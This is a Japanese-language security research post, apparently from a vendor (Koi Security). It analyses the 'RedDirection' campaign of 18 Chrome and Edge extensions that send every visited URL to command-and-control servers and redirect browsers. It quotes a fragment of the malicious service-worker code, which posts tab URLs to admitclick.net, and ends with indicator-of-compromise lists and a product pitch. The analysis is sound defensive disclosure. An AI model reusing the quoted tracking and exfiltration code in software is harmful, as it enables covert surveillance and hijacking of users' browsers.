要約:ある「認証済み」カラーピッカーを調査したところ、Chrome と Edge にまたがって230万人ものユーザーを感染させた、18個の悪意ある拡張機能による組織的なキャンペーンが明らかになりました。
Google の認証バッジが付き、インストール数10万件以上、レビュー800件以上、ストアでの特集掲載もある Chrome 拡張機能なら信頼できると思いますか?考え直してください。
「Color Picker, Eyedropper — Geco colorpick」という拡張機能をご紹介します。これは、私たちが日頃頼りにしている信頼のシグナルを、高度な脅威アクターがいかに悪用しているかを如実に示す事例です。週末に急ごしらえで作られたような、いかにも怪しい詐欺拡張機能ではありません。約束どおりの機能(まともに動くカラーピッカー)を提供しながら、裏ではブラウザを乗っ取り、訪問するすべてのウェブサイトを追跡し、持続的なコマンド&コントロール(C2)のバックドアを維持する、綿密に作り込まれたトロイの木馬なのです。それだけでなく、この拡張機能はバージョンアップデートを通じて悪意化する前は、何年もの間まっとうなものとして存在していました。
これだけでも十分驚きですが、さらにRedDirectionキャンペーンについてもご紹介します。Color Picker 拡張機能への調査は、まさに氷山の一角に過ぎませんでした。コマンド&コントロールのインフラを分析し、類似のコードパターンを追跡した結果、私たちが「RedDirection」と呼ぶ、Chrome と Edge の両ストアにまたがる高度なクロスプラットフォームのネットワークを発見しました。同じハイジャック機能を共有する、18個の悪意ある拡張機能から成るものです。これら18個の拡張機能を合わせると、両ブラウザで230万人を超えるユーザーが感染しており、私たちがこれまで確認した中でも最大規模のブラウザハイジャック工作の一つとなっています。
これらの拡張機能は、絵文字キーボード、天気予報、動画再生速度コントローラー、Discord や TikTok 向けの VPN プロキシ、ダークテーマ、音量ブースター、YouTube アンブロッカーなど、多岐にわたるカテゴリーの人気の生産性ツールやエンターテインメントツールを装っています。それぞれが正規の機能を提供する一方で、私たちが Color Picker で発見したのと同じブラウザ監視・ハイジャック機能を密かに実装しています。
これらの拡張機能のいくつかは、Chrome ウェブストアと Microsoft Edge アドオンストアの両方で認証済みステータスや特集掲載を獲得しており、セキュリティの機能不全が主要なブラウザマーケットプレイス両方に及んでいることを示しています。各拡張機能はそれぞれ独自のコマンド&コントロールのサブドメイン(admitclick.net、click.videocontrolls.com、c.undiscord.com など)を運用しており、一見別々の運営者による拡張機能のように見えますが、実際には両プラットフォームにまたがる同一の中央集権的な攻撃インフラの一部となっています。
では、これらの拡張機能は実際に何をしているのか
タブが更新されるたびに発動するブラウザハイジャック
このマルウェアは、新しいページに移動するたびに作動する高度なブラウザハイジャック機構を実装しています。拡張機能のバックグラウンドサービスワーカーの中には、すべてのタブの活動を監視するコードが隠されています。
chrome.tabs.onUpdated.addListener(function() {
var t = o(r().mark((functiont(e, o, i) {
// Malicious code that sends your current URL to remote serverreturn r().wrap((function(t) {
for (;;) switch (t.prev = t.next) {
case0:
if (!o.url) {
t.next = 8;
break;
}
return c = {
method: "POST",
redirect: "follow" }, t.next = 5, fetch("https://admitclick.net/api?key=565ebded7e63cdfa5fcbe5734bdb4281a85d6f21&uuid=" + a + "&allowempty=1&out=" + encodeURIComponent(o.url) + "&format=txt&r=" + Math.random(), c)
ウェブサイトを訪問するたびに、この拡張機能は以下を行います。
- 訪問中のページの URL を取得
- その URL を、固有の追跡 ID とともにリモートサーバーへ送信
- コマンド&コントロールサーバーからリダイレクト先の候補 URL を受信
- 指示があれば、自動的にブラウザをリダイレクト
マルウェアは最初から存在していたわけではない。しかし、いつしか存在するようになった
これらの拡張機能は、初日から悪意あるものだったわけではありません。マルウェアは、拡張機能のライフサイクルの中でバージョンアップデートを通じて仕込まれたのです。それぞれのコードベースは、マルウェアが実装される前は、時には何年もの間、まったくクリーンな状態を保っていました。
Google と Microsoft の拡張機能アップデートの扱い方が原因で、これらの悪意あるバージョンは静かに自動インストールされ、両プラットフォーム合わせて230万人を超えるユーザーに及びました。そのほとんどは、何もクリックすることさえありませんでした。フィッシングもソーシャルエンジニアリングも一切なし。信頼された拡張機能が静かにバージョンを上げるだけで、生産性ツールが監視マルウェアへと変貌したのです。
Google も Microsoft も、アップデートのパイプラインを精査ではなく規模拡大を前提に構築してきました。認証済みステータス、特集掲載、シームレスな展開。本来ユーザーの安全を守るはずのこれらの仕組みそのものが、マルウェアの拡散を助長してしまったのです。これは例外的な事象ではなく、サプライチェーンの大惨事にほかなりません。
完璧なトロイの木馬
RedDirectionキャンペーンを特に厄介なものにしているのは、堂々と目立つ場所に潜む包括的な手口です。18個の拡張機能はそれぞれ、宣伝どおりに動作します。カラーピッカーであれ、動画速度コントローラーであれ、天気予報であれ、音量ブースターであれ、ユーザーが期待するとおりのプロフェッショナルな機能を提供します。しかし、その正当な見た目の裏には、生産性ツールというエコシステム全体を通じて、ブラウジングセッションのあらゆる瞬間を武器化しうる高度なハイジャック機構が潜んでいます。
次のようなシナリオを想像してみてください。Zoom の会議招待を受け取り、リンクをクリックします。すると会議に参加する代わりに、悪意ある拡張機能の一つがリクエストを横取りし、会議に参加するには「重要な Zoom アップデート」のダウンロードが必要だと主張する、説得力のある偽ページへリダイレクトします。あなたは正規のソフトウェアに見えるものをダウンロードしますが、実際にはシステムに追加のマルウェアをインストールしてしまい、最悪の場合、端末の完全な乗っ取りやデバイス全体の侵害につながる恐れがあります。
あるいは、銀行のウェブサイトにログインする場面を想像してください。拡張機能がそのリクエストを捕捉し、攻撃者のサーバー上にホストされた、あなたの銀行のログインページを寸分違わず模倣したレプリカへとシームレスにリダイレクトします。あなたは安全に自分の口座にアクセスしていると思いながら認証情報を入力しますが、実際にはサイバー犯罪者に銀行情報を渡してしまっているのです。
これらは理論上の攻撃ではありません。18個の異なる拡張機能を通じて230万人のユーザーが監視下に置かれている状況では、このキャンペーンはいつでも悪用しうる大規模かつ持続的な中間者攻撃(man-in-the-middle)の能力を作り出しています。クリック一つ、ウェブサイトへの訪問一つ、オンライン取引一つが、この広大なネットワークを通じた潜在的な攻撃ベクトルとなり得るのです。攻撃者は個々のウェブサイトを侵害する必要も、フィッシングメールに頼る必要もありません。信頼されたツール群という多角的なポートフォリオを通じて、すでにユーザーのブラウザそのものを侵害しているからです。
今すぐ取るべき対応
もしRedDirectionキャンペーンに該当する拡張機能をインストールしている場合は、次の対応を行ってください。
- Chrome や Edge から該当する拡張機能をすべて直ちに削除
- ブラウザデータを消去し、保存されている追跡用識別子を除去
- システム全体のマルウェアスキャンを実行し、他の感染がないか確認
- 機密性の高いサイトを訪問していた場合は、アカウントを監視し不審な動きがないか確認
- 提供された IOC を使い、インストール済みの拡張機能をすべて見直し、同様の不審な挙動がないか確認
より大きな視点で見る
RedDirectionキャンペーンは、個々の拡張機能の問題にとどまらない、マーケットプレイスのセキュリティにおける構造的な機能不全を浮き彫りにしています。
- 大規模な検証の限界:Google と Microsoft の検証プロセスは、18個もの異なる拡張機能にまたがる高度なマルウェアを検出できなかったばかりか、認証バッジや特集掲載を通じて、そのうちのいくつかをむしろユーザーに積極的に推奨する結果となりました。
- サプライチェーンの乗っ取り:このキャンペーンは、攻撃者が新規に悪意ある拡張機能を作成する、あるいは悪意あるアップデートを通じて既存の正規の拡張機能を武器化するという、いずれの手口でも拡張機能のエコシステムを侵害しうることを示しています。
- 信頼シグナルの武器化:攻撃者は、認証バッジ、インストール数、特集掲載、何年にもわたる正規運用の実績、好意的なレビューといった、ユーザーが頼りにするあらゆる信頼シグナルの悪用に成功しました。プラットフォーム自身の信頼性を担保する仕組みそのものを、ユーザーに対する武器に変えてしまったのです。
では、これからどうすべきか
RedDirectionキャンペーンは、ブラウザ拡張機能のセキュリティにおける転換点を示しています。18個の拡張機能を通じて230万人を超えるユーザーが感染したという事実は、単なる新たなマルウェアの発見にとどまりません。現行のマーケットプレイスのセキュリティモデルが根本的に破綻していることの証明です。攻撃者は Google と Microsoft のレビュープロセスを単に回避しただけでなく、それを大規模かつ組織的に悪用し、マーケットプレイスを高度な監視マルウェアの配布プラットフォームへと変えてしまいました。
このキャンペーンは、脅威アクターが個別の攻撃にとどまらず、発動までの数年間、休眠状態を保つことができる包括的なインフラを構築する方向へと進化していることを示しています。正規の機能性、段階的な展開、多様な拡張機能カテゴリーの組み合わせが、ユーザーを守るために設計されたあらゆるセキュリティ機構を突破する完璧な嵐を生み出しました。
本稿はKoi Securityのリサーチチームが、健全な猜疑心と、より安全なオープンソースエコシステムへの願いを込めて執筆したものです。
驚くべきことに、私たちがこれらすべてを最初に発見したのは、MITRE が最新のカテゴリーであるIDE Extensionsを導入してからわずか数日後のことでした。この領域を保護することの重要性を、さらに一段と際立たせる出来事です。
あまりにも長い間、最上位の権限で実行されることも多い信頼できないサードパーティ製コードの利用は、企業にとっても攻撃者にとってもレーダーの死角に置かれてきました。その時代は終わりを迎えつつあります。潮目は変わりつつあるのです。
私たちは、実務者にも企業にも対応できるよう、この局面に応えるべく Koi を構築しました。私たちのプラットフォームは、Chrome ウェブストア、VSCode、Hugging Face、Homebrew、GitHub など、あなたのチームがマーケットプレイスから取り込むすべてのものを発見し、評価し、統制することを支援します。
フォーチュン50企業、BFSI(銀行・金融・保険)企業、そして世界最大級のテック企業の一部にも信頼されている Koi は、この広大な攻撃対象領域全体にわたって可視性を獲得し、統制を確立し、リスクを先回りして低減するために必要なセキュリティプロセスを自動化します。
私たちのソリューションに関心がある方、あるいはすぐに行動を起こしたい方は、デモを予約するか、こちらから私たちにご連絡ください🤙
さらなる驚きの発表もいくつか控えていますので、どうぞご期待ください。
IOC(侵害指標)
拡張機能ID
Chrome:
kgmeffmlnkfnjpgmdndccklfigfhajen— [Emoji keyboard online — copy&past your emoji.]dpdibkjjgbaadnnjhkmmnenkmbnhpobj— [Free Weather Forecast]gaiceihehajjahakcglkhmdbbdclbnlf— [Video Speed Controller — Video manager]mlgbkfnjdmaoldgagamcnommbbnhfnhf— [Unlock Discord — VPN Proxy to Unblock Discord Anywhere]eckokfcjbjbgjifpcbdmengnabecdakp— [Dark Theme — Dark Reader for Chrome]mgbhdehiapbjamfgekfpebmhmnmcmemg— [Volume Max — Ultimate Sound Booster]cbajickflblmpjodnjoldpiicfmecmif— [Unblock TikTok — Seamless Access with One-Click Proxy]pdbfcnhlobhoahcamoefbfodpmklgmjm— [Unlock YouTube VPN]eokjikchkppnkdipbiggnmlkahcdkikp— [Color Picker, Eyedropper — Geco colorpick]ihbiedpeaicgipncdnnkikeehnjiddck— [Weather]
Edge:
jjdajogomggcjifnjgkpghcijgkbcjdi— [Unlock TikTok]mmcnmppeeghenglmidpmjkaiamcacmgm— [Volume Booster — Increase your sound]ojdkklpgpacpicaobnhankbalkkgaafp— [Web Sound Equalizer]lodeighbngipjjedfelnboplhgediclp— [Header Value]hkjagicdaogfgdifaklcgajmgefjllmd— [Flash Player — games emulator]gflkbgebojohihfnnplhbdakoipdbpdm— [Youtube Unblocked]kpilmncnoafddjpnbhepaiilgkdcieaf— [SearchGPT — ChatGPT for Search Engine]caibdnkmpnjhjdfnomfhijhmebigcelo— [Unlock Discord]
ネットワーク侵害指標
admitab[.]comedmitab[.]comclick.videocontrolls[.]comc.undiscord[.]comclick.darktheme[.]netc.jermikro[.]comc.untwitter[.]comc.unyoutube[.]netadmitclick[.]netaddmitad[.]comadmiitad[.]comabmitab[.]comadmitlink[.]net
